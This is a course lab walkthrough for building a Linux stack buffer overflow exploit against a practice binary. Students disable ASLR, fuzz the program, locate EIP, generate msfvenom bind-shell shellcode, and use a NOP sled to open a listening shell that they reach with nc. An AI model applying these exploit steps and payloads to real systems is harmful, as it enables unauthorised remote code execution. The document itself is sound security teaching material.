ED 203: Linux Buffer Overflow With Listening Shell (15 pts + 30 pts extra)

What You Need

A Google Cloud Debian 9 Linux machine, with these tools installed:

sudo apt update
sudo apt install build-essential gcc-multilib gdb -y

Purpose

To develop a very simple buffer overflow exploit in Linux. This will give you practice with these techniques:

Disabling ASLR

We'll disable ASLR to make this project easier.

In a Terminal, execute these commands:


sudo su -
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
exit

Downloading & Running the Vulnerable Program

In a Terminal window, execute these commands:

wget -nv https://samsclass.info/127/proj/ED3a.c
wget -nv https://samsclass.info/127/proj/ED3a
chmod a+x ED3a
./ED3a
The program downloads and runs, displaying a usage message, as shown below.

Viewing the Source Code

Execute this command:

cat ED3a.c
You see C source code appears, as shown below.

The main() function accepts a string argument of any length and passes it to the copier routine, which copies it into a buffer 1000 bytes long.

Making a Fuzzer

In a Terminal window, execute this command:

nano fuzzer
Enter this code, as shown below.

#!/usr/bin/python3

import sys

length = int(sys.argv[1])
print('A' * length)

Save the file with Ctrl+X, Y, Enter.

Execute these commands to make the fuzzer executable and test it:


chmod a+x fuzzer
./fuzzer 10
./fuzzer 20
The fuzzer works, producing a string of "A" characters, as shown below.

Fuzzing the Program

Execute these commands to test the program with inputs of length 1000 and 1010.

./ED3a $(./fuzzer 1000)
./ED3a $(./fuzzer 1020)
The longer input causes a "Segmentation fault", as shown below.

Using gdb

Execute these commands to load the program into gdb and run it.

gdb -q ED3a
run $(./fuzzer 1020)
q
y
The program crashes, with the eip value 0x41414141, as shown below.

Locating the EIP

We know that some of the last 20 "A" characters ended up in the eip.

To find them, we'll put a nonrepeating pattern of bytes in the last 20 bytes of the exploit.

In a Terminal window, execute this command:


nano ex1
Enter this code:

#!/usr/bin/python3

import sys

prefix = 'A' * 1000
pattern = 'BBBBCCCCDDDDEEEEFFFF'
print(prefix + pattern)

Save the file with Ctrl+X, Y, Enter.

Execute these commands to run the exploit in the debugger:


chmod a+x ex1
gdb -q ED3a
run $(./ex1)
q
y
Now the crash ends with an eip of 0x45454545, which is the ASCII code for "EEEE", as shown below.

The total number of characters before the eip is 1000 "A"'s plus "BBBBCCCCDDDD", a total of 1012 characters.

Getting Shellcode

The shellcode is the payload of the exploit. It can do anything you want, but it must not contain any null bytes (00) because they would terminate the string prematurely and prevent the buffer from overflowing.

Also, it cannot contain Line Feed (0A) or Carriage Return (0D) characters, because we are inputting it at a prompt, and those would terminate the input line prematurely.

If you haven't already installed Metasplolit, execute these commands:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall
Metasploit installs, as shown below.

Metasploit provides a tool named msfvenom to generate shellcode.

Execute this command, which shows the exploits available for a Linux platform, which bind a shell to a listening TCP port:


sudo msfvenom -l payloads | grep linux | grep bind_tcp
If a question appears asking whether to set up a database, reply with yes.

The exploit we want is highlighted above: linux/x86/shell_bind_tcp

To see the payload options, execute this command:


sudo msfvenom -p linux/x86/shell_bind_tcp --list-options
The top portion of the output shows the Basic options. The only parameter we really need is "LPORT", the port to listen on, as shown below. This port has a default value of 4444, but we'll choose a custom port.

To generate Python exploit code, execute this command:


sudo msfvenom -p linux/x86/shell_bind_tcp LPORT=31337 -f python
The resulting payload isn't useful for us, because it contains a null byte ("\x00"), as shown below.

That null byte will terminate the string, preventing the shellcode after it from being processed by C programs.

We could use the "-b '\x00'" switch to avoid null characters, but since we have plenty of room (1000 bytes or so), we can use the "-e x86/alpha_mixed" switch, which will encode the exploit using only letters and numbers.

The 'AppendExit=true' switch f makes the shellcode more reliable.

Execute this command:


sudo msfvenom -p linux/x86/shell_bind_tcp LPORT=31337 AppendExit=true -e x86/alpha_mixed -f python
This payload is longer--approximately 230 bytes (the exact length varies). Highlight the Python code and copy it to the clipboard, as shown below:

If you have difficulty copying and pasting, click the gear at the top right to get help, as shown below:

Constructing the Exploit

In the SERVER WINDOW, execute this command:

nano ex2
Paste in the contents of the clipboard, which is several lines, all beginning with "buf".

Above those lines, enter these lines:


#!/usr/bin/python3

import sys

Below the "buf" lines, enter this code:

nopsled = b'\x90' * 500
suffix = b'A' * (1012 - len(nopsled) - len(buf))
eip = b'1234'
attack = nopsled + buf + suffix + eip
sys.stdout.buffer.write(attack)
Your code should resemble the image below.

Save the file with Ctrl+X, Y, Enter.

Execute these commands to make the program executable and run it.


chmod +x ex2
./ex2 
The program runs, printing out a long string of characters ending in "1234", as shown below.

Finding the NOP Sled in RAM

In a Terminal window, execute these commands:

gdb -q ED3a
disassemble copier
Find the instruction just after the strcpy call, as highlighted in the image below.

Your address will probably be different from the address in the image below.

Execute these commands to set a breakpoint after the strcpy call and run the attack, replacing the address with the correct address for your system:


break * 0x08049241
run $(./ex2)
The code runs to the breakpoint, as shown below.

Viewing the Stack Frame

In gdb, execute this command to see the registers:

info registers
Make a note of the ebp value. On my system, it was 0xffffd258, as shown below.

In gdb, execute this command to see the stack frame:


x/410x $esp
Press Enter as necessary to see all the pages of output, as shown below.

Find an address in the middle of the NOP sled (the 90 bytes). Avoid addresses containing "00", "10", or "20" bytes, which will be be treated as delimiters and terminate the string prematurely.

On my system, I used 0xffffcf50, as shown below.

Execute these commands to exit the debugger.


q
y

Completing the Exploit Code

Execute these commands to copy the program to a new file and edit it.

cp ex2 ex3
nano ex3
Insert your chosen address into the program, in little-endian byte order, outlined in the image below.

Save the file with Ctrl+X, Y, Enter.

Execute these commands to run the complete exploit in the debugger.


gdb -q ED3a
run $(./ex3)
The program runs, and never returns a prompt, as shown below.

This is because it worked, and it's now running the payload.

Using the Listening Shell

Open a new SSH window onto your server and execute these commands to see the listening shellcode, install netcat, connect to it, and use it.

sudo apt install netcat -y
ss -pant | grep 31337
nc 127.0.0.1 31337
whoami
The whoami command shows your current username, as shown below.


ED 203.1: Users (15 pts)

The flag is the "users" value, covered by a green box in the image above.


Testing the Exploit Outside the Debugger

In the Terminal window running nc, press Ctrl+C to disconnect the client.

Then, in the Terminal window running gdb, execute these commands to exit the debugger and launch the exploit outside it.


q
./ED3a $(./ex3)
The process runs, and does not return a prompt, as shown below, in the upper window.

In the other Terminal, execute these commands, one at a time, to connect to the shell and use it:


nc 127.0.0.1 31337
whoami
pwd
The shell should work, as shown below, in the lower window.

Troubleshooting

If your exploit works in gdb but not in the normal shell, that probably means that ASLR is on. Execute these commands to turn it off:

sudo su -
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
exit

ED 203.2: Exploiting a Remote Server (15 pts extra)

This form sends a string to a remote server and runs it through the binary you exploited above.

Exploit that server and find the flag in this file: /home/ed3a/flag

ED 203.2: String Processor

String:
   

Hints


ED 203.3: Freestyle (15 pts extra)

Exploit this server and find the flag in this file: /home/ed3c/flag3c.

Note that the string must be entered in hexadecimal encoding.

ED 203.3: String Processor

String (hex):
   

You can download the binary with this command:


wget https://samsclass.info/127/proj/ED3c

Hints


Sources

How to use msfvenom


ASLR tip added at end 9-19-18
--payload-options troubleshooting tip added 9-20-18
Fuzzer code fixed 6-3-19
Ported to Google Cloud 8-1-19
Netstat page added 8-4-19
Hints added to ED203.3 9-29-19
Updated to Python 3 2-7-23